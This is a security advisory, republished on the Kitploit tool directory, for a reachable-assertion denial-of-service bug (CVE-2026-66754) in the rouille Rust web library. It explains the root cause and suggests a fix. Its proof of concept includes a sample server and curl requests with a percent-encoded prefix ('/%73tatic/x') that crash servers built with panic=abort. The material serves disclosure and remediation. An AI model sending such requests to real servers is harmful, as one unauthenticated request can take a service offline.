Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille- — Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
23 days agoNot yet reviewed

Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)

Assigned CVE ID: CVE-2026-66754

Summary

Request::remove_prefix tests the percent-decoded URL but asserts on the raw one. A request whose decoded path starts with the prefix while its raw path does not passes the test and fails the assertion. Percent-encoding one character of the prefix is enough.

On a default build the panic is caught and becomes a 500. On a build with panic = "abort" there is nothing to catch it, and one unauthenticated GET terminates the server process.

Affected versions

Repo URL: https://github.com/tomaka/rouille

First affected0.1.6 (2016-09-22), the release that introduced remove_prefix
Last affected3.6.2 (2023-04-24), the current release
Not affected0.1.5 and earlier, which have no remove_prefix
Fixed inno fixed version at time of writing

The function is unchanged across every release in that range and in current master. Applications are affected if they call Request::remove_prefix, which is the pattern rouille documents for serving static files under a URL prefix (src/assets.rs lines 66 to 75, and src/lib.rs lines 804 to 811).

Severity

CWE-617 (Reachable Assertion), leading to CWE-248 (Uncaught Exception).

CVSS 4.0 base score 8.2 (High) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Threat model

A remote, unauthenticated client that can send one GET request. No credentials and no user interaction.

panic = "abort" is not Cargo's default, but it is a common release profile choice for smaller binaries and lower overhead. rouille depends on unwinding for availability, since Server::process relies on panic::catch_unwind at src/lib.rs line 602 to convert handler panics into a 500. That dependency is not documented.

Root cause

rouille/src/lib.rs, lines 813 to 822:

root@kitploit:~
813      pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814          if !self.url().starts_with(prefix) {
815              return None;
816          }
817  
818          // TODO: url-encoded characters in the prefix are not implemented
819          assert!(self.url.starts_with(prefix));
820          Some(Request {
821              method: self.method.clone(),
822              url: self.url[prefix.len()..].to_owned(),

Line 814 calls self.url(), which percent-decodes. Line 819 asserts on self.url, the raw field, and line 822 slices that same raw field. The two representations disagree whenever the path contains a percent escape inside the prefix:

The same mismatch also means remove_prefix never routes a legitimately percent-encoded path, so the correctness bug and the availability bug share a fix.

Proof of Concept

Step 1. Start a server using the documented prefix idiom.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8003", |request| {
        if let Some(r) = request.remove_prefix("/static") {
            return rouille::match_assets(&r, ".");
        }
        Response::text("home")
    });
}

Step 2. Send a benign request and an equivalent request with s percent-encoded. --path-as-is stops curl from normalising the path.

root@kitploit:~
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Result on a default build. The first is a normal 404 for a missing file, the second is a panic turned into a 500:

root@kitploit:~
404
500

with this on stderr:

root@kitploit:~
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)

Step 3. Rebuild the same program with abort-on-panic and repeat the second request.

root@kitploit:~
[profile.release]
panic = "abort"
root@kitploit:~
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Result. The process terminates with SIGABRT (exit code 134) and the server stops answering. One request, no authentication, total loss of availability.

Impact

On builds with panic = "abort", a single unauthenticated request stops the server. On default builds, requests whose path contains a percent escape within the prefix return 500 instead of being served, so the routing is also incorrect for legitimate clients.

Note that the panic cannot poison the mutex that Server::process unwraps outside catch_unwind at src/lib.rs lines 643 and 649, because remove_prefix only clones the Arc and never holds a guard. On unwinding builds the worker thread recovers cleanly.

Remediation

Perform the comparison and the slice on the same representation. The simplest correct version compares and slices the raw URL:

root@kitploit:~
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
    if !self.url.starts_with(prefix) {
        return None;
    }
    Some(Request {
        url: self.url[prefix.len()..].to_owned(),
        ..
    })
}

If the decoded-comparison behaviour is intended, decode the URL once, strip the prefix from the decoded string, and re-encode the remainder rather than slicing the raw field.

Either way the assert! should go. A library should not abort the process on attacker-controlled input. Documenting that rouille requires panic = "unwind", or removing the reliance on catch_unwind for correctness, would also help.

Download Tool
Raw URLurl() decodedLine 814Line 819
/static/x/static/xpassespasses
/%73tatic/x/static/xpassesfails
/stati%63/x/static/xpassesfails